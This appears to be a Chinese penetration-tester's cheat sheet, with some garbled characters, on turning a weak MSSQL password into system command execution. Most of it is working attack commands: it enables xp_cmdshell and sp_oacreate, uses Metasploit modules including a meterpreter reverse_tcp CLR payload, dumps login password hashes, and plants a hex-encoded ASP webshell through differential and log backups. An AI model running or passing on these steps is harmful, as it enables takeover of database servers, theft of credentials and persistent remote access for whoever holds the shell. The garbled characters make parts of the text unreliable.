發(fā)現(xiàn)了一個(gè)mssql弱口令,目標(biāo)是執(zhí)行系統(tǒng)命令,總結(jié)了常用的方法。
一、xp_cmdshell存儲(chǔ)過程
Sql Server2005是system權(quán)限,2008以上是network權(quán)限
- 首先使用SSMS連接mssql數(shù)據(jù)庫(kù)
- 開啟xp_cmdshell
EXEC sp_configure 'show advanced options',1 //允許修改高級(jí)參數(shù)
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1 //打開xp_cmdshell擴(kuò)展
RECONFIGURE
- 執(zhí)行命令
exec master..xp_cmdshell 'whoami'

image.png
- msf中有xp_cmdshell的利用模塊
use auxiliary/admin/mssql/mssql_exec
set rhosts 192.168.80.144
set password 123456
set cmd cmd.exe /c ping 192.168.80.154

image.png
二、sp_oacreate存儲(chǔ)過程
當(dāng)xp_cmdshell被刪除時(shí),可以嘗試使用sp_oacreate
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
此方式執(zhí)行是無回顯的,這里將文件寫入到temp目錄下
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami>C:\\Windows\\Temp\\1.txt'

image.png
三、clr程序集
適用于SQL Server 2005以后的版本,msf中有clr的利用模塊
use exploit/windows/mssql/mssql_clr_payload
set rhosts 192.168.80.144
set password 123456
set payload windows/x64/meterpreter/reverse_tcp

image.png
四、查mssql密碼
- 使用sql語句查詢
select name,password_hash from master.sys.sql_logins

image.png
- 使用msf中的模塊查詢
use auxiliary/scanner/mssql/mssql_hashdump
set rhosts 192.168.80.144
set password 123456

五、查絕對(duì)路徑
使用xp_dirtree存儲(chǔ)過程查詢網(wǎng)站的絕對(duì)路徑
execute master..xp_dirtree 'c:',1 -- 只列目錄
execute master..xp_dirtree 'c:',1,1 -- 列目錄和文件

image.png
六、差異備份getshell
當(dāng)目標(biāo)服務(wù)器存在web服務(wù)時(shí),可以嘗試使用備份的方式寫入webshell,如果不成功一般是目錄權(quán)限的問題
backup database 庫(kù)名 to disk = 'c:\bak.bak';--
create table [dbo].[test] ([cmd] [image]);
insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
backup database 庫(kù)名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;--
七、LOG備份getshell
相對(duì)于差異備份,log備份的好處就是備份出來的webshell文件非常小
alter database 庫(kù)名 set RECOVERY FULL
create table cmd (a image)
backup log 庫(kù)名 to disk = 'c:\xxx' with init
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)
backup log 庫(kù)名 to disk = 'c:\xxx\2.asp'